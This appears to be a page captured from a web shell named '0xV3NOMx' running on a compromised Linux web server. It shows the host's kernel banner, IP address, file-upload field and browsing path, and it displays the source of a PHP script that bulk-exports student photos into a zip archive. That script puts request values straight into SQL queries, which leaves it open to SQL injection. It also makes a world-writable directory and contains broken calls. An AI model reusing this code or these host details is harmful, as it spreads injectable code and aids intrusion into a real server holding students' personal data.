0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.145.92.96


Current Path : /var/www/html/ssa/src/
Upload File :
Current File : /var/www/html/ssa/src/download_photo_12092018.php

<?php

session_start();
function replaceChars($name)
{
	$spl_char = array("*","/","~","!","@","#","$","%","^","&",":",";","?","/","\\","_","-","'"," ","");
	$link_name = strtolower(str_replace($spl_char,"_",$name));
	return str_ireplace("__","_",$link_name);
}

function downloadAllStudentPhotos($aobj_context)
{
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); 
	$college_code = $_SESSION['collcode']; 
	$degree_code = $aobj_context->mobj_data['degreeCode']; 
	$_SESSION['degree_codeImgUp']=$degree_code;
	$RegNo_start = substr("00000000".$aobj_context->mobj_data["regStart"],-8); 
	$RegNo_end = substr("ZZZZZZZZ".$aobj_context->mobj_data["regEnd"],-8); 
	$sql_dateFormat = "select CONCAT(DAY(NOW()),MONTH(NOW()),YEAR(NOW()),HOUR(NOW())) as dateFormat ";
	$lobj_dateFormat = $aobj_context->mobj_db->getRow($sql_dateFormat);
	
	$get_studentInfo = "select * from student where  fdegree ='{$degree_code}' and fregno between '{$RegNo_start}' and '{$RegNo_end}'";
	$lobj_get_studentInfo = $aobj_context->mobj_db->getAll($get_studentInfo);
	$desDirectry = $aobj_context->main_src."/tmpphotos/".$degree_code.$lobj_dateFormat[dateFormat].'/';
	$photoDownloadCnt=0;
	
		foreach($lobj_get_studentInfo as $key=>$value)
		{
		$fURI  ='';
		$photo_path=$value[FPHOTOPATH];
		$file_name=replaceChars(basename($photo_path));
		if(!empty($photo_path) && file_exists($photo_path)) 
		{			
			$fURI=$photo_path;
		}
		
		
		if(!is_dir($desDirectry))
		{
			mkdir($desDirectry);
			chmod($desDirectry,0777);
		}
		$regno_index = $value[FREGNO];
		
		$ext = pathinfo($file_name, PATHINFO_EXTENSION);
		$full_file_path= $desDirectry.$regno_index.".".$ext;
		if (file_exists($fURI)) 
		{
			$target_file=$full_file_path;//   Path to a local file    

		if ( file_exists( $target_file ) ) {
			$ifmodhdr = 'If-Modified-Since: '.date( "r", filemtime( $target_file ) )."\r\n";
		}
		else {
			$ifmodhdr = '';
		}

// set request header for GET with referrer for modified files, that follows redirects            
		$arrRequestHeaders = array(
		'http'=>array(
		'method'        =>'GET',
		'protocol_version'    =>1.1,
		'follow_location'    =>1,
		'header'=>    "User-Agent: Anamera-Feed/1.0\r\n" .
		"Referer: $source\r\n" .
		$ifmodhdr
		)
		);
		$rc = copy( $fURI, $target_file, stream_context_create($arrRequestHeaders) );

// HTTP request completed, preserve system error, if any
	if( $rc ) 
	{
		$photoDownloadCnt++;
		if ( fclose( $rc ) )
		{
			unset( $err );		
		}
		else 
		{
			$err = error_get_last();
		}
	}
	else
	{
		$err = error_get_last();
	}
		
}	

} 
	
$the_folder = $desDirectry;
$zip_file_name = "tmpphotos/"."{$degree_code}{$lobj_dateFormat[dateFormat]}.zip";

$download_file= true;
//$delete_file_after_download= true; doesnt work!!

$za = new FlxZipArchive;
$res = $za->open($zip_file_name, ZipArchive::CREATE);
if($res === TRUE) 
{
$za->addDir($the_folder, basename($the_folder));
$za->close();
}
else  { echo 'Could not create a zip archive';}

if ($download_file)
{
ob_get_clean();
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private", false);
header("Content-Type: application/zip");
header("Content-Disposition: attachment; filename=" . basename($zip_file_name) . ";" );
header("Content-Transfer-Encoding: binary");
header("Content-Length: " . filesize($zip_file_name));
readfile($zip_file_name);

//deletes file when its done...
//if ($delete_file_after_download) 
//{ unlink($zip_file_name); }
}

}


class FlxZipArchive extends ZipArchive {


 //$location=$aobj_context->main_src;
 public function addDir($location, $name) {
    //$this->addEmptyDir($name);

    $this->addDirDo($location, $name);
 } // EO addDir;


 private function addDirDo($location, $name) {
    $name .= '/';
    $location .= '/';

    // Read all Files in Dir
    $dir = opendir ($location);
    while ($file = readdir($dir))
    {
        if ($file == '.' || $file == '..') continue;
        // Rekursiv, If dir: FlxZipArchive::addDir(), else ::File();
        $do = (filetype( $location . $file) == 'dir') ? 'addDir' : 'addFile';
        $this->$do($location . $file, $name . $file);
    }
} // EO addDirDo();
}
?>